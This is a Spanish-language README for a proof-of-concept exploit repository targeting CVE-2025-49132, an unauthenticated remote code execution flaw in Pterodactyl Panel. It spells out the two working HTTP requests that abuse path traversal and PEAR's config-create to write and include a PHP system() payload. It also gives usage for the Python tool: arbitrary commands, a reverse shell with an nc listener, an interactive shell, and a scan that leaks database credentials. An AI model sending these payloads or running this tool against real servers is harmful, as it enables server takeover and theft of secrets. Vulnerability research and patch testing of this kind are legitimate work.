CVE-2025-49132: RCE no autenticado en Pterodactyl Panel mediante el método PHP PEAR

Tabla de contenidos

• Descripción general
• Detalles de la vulnerabilidad
• Análisis técnico
• Flujo del exploit
• Instalación
• Uso
• Ejemplos
• Mitigación
• Descargo de responsabilidad
• Referencias
• Autor

Descripción general

Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2025-49132, una vulnerabilidad crítica de ejecución remota de código no autenticada en Pterodactyl Panel en versiones anteriores a la 1.11.11.

Pterodactyl Panel es un panel gratuito y de código abierto para la gestión de servidores de juegos, desarrollado en PHP. La vulnerabilidad permite a un atacante no autenticado ejecutar comandos arbitrarios del sistema en el servidor objetivo mediante el manejo inadecuado del endpoint /locales/locale.json combinado con la funcionalidad pearcmd.php de PHP PEAR.

Resumen de la vulnerabilidad

• ID de CVE: CVE-2025-49132
• Puntuación CVSS: 10.0 (Crítica)
• Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• CWE: CWE-94: Control inadecuado de la generación de código ('Inyección de código')
• Versiones afectadas: Pterodactyl Panel < 1.11.11
• Complejidad del ataque: Baja
• Privilegios requeridos: Ninguno (no autenticado)
• Interacción del usuario: Ninguna

Detalles de la vulnerabilidad

¿Qué es PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) es un framework y un sistema de distribución de componentes PHP reutilizables. Proporciona una herramienta de línea de comandos (pearcmd.php) que puede utilizarse para gestionar paquetes PEAR.

El archivo pearcmd.php procesa comandos a través de parámetros de URL y, cuando se combina con path traversal, puede aprovecharse para:

1. Crear archivos PHP arbitrarios en el sistema
2. Ejecutar esos archivos a través del servidor web

Causa raíz

La vulnerabilidad existe porque:

1. Path traversal sin validar: El parámetro locale en /locales/locale.json permite path traversal sin una validación adecuada
2. Inclusión directa de archivos: La aplicación incluye directamente archivos basándose en entradas controladas por el usuario
3. Inyección de comandos PEAR: El script pearcmd.php acepta el comando +config-create, que puede escribir archivos PHP arbitrarios
4. Acceso no autenticado: El endpoint vulnerable no requiere autenticación

Vector de ataque

Un atacante puede:

1. Usar path traversal para alcanzar el directorio de instalación de PEAR
2. Abusar del comando config-create para escribir código PHP malicioso en /tmp
3. Ejecutar el archivo PHP malicioso a través del mismo endpoint
4. Conseguir ejecución remota de código completa como usuario del servidor web

Análisis técnico

Proceso de explotación

El exploit funciona en dos etapas:

Etapa 1: Creación del payload

GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Desglose:

• +config-create+/ - Invoca la funcionalidad de creación de configuración de PEAR
• locale=../../../../../../usr/share/php/PEAR - Path traversal al directorio de PEAR
• namespace=pearcmd - Apunta al archivo pearcmd.php
• <?=system('id')?>+/tmp/payload.php - Payload PHP y archivo de destino

Etapa 2: Ejecución del payload

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Desglose:

• locale=../../../../../../tmp - Path traversal al directorio /tmp
• namespace=payload - Incluye y ejecuta payload.php

Por qué la codificación de URL rompe el exploit

El exploit requiere enviar caracteres especiales (<, >, ?, =) en la URL sin codificarlos. Si estos caracteres se codifican en la URL:

• <?=system('id')?> se convierte en %3C%3F%3Dsystem%28%27id%27%29%3F%3E
• PEAR lo interpreta como texto literal en lugar de código PHP
• Las etiquetas PHP no se reconocen, lo que impide la ejecución de código

Flujo del exploit

graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Diagrama del flujo de ataque

sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

Instalación

Requisitos previos

• Python 3.6 o superior
• Librería requests

Clonar el repositorio

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Instalar dependencias

pip3 install -r requirements.txt

O manualmente:

pip3 install requests

Uso

Ejecución básica de comandos

python3 poc.py -H <target_host> -c "<command>"

Shell inversa

# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

Pseudo-shell interactiva

python3 poc.py -H <target_host> --shell

Fuzzing de instalaciones PEAR

python3 poc.py -H <target_host> --fuzz

Escaneo de vulnerabilidad

python3 poc.py -H <target_host> --scan

Comprueba CVE-2025-49132 mediante fugas de configuración (credenciales de base de datos, app key).

Ruta PEAR personalizada

python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Salida verbosa

python3 poc.py -H <target_host> -c "id" -v

Muestra el progreso detallado (creación del payload, ruta PEAR, estado de ejecución).

Opciones completas

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]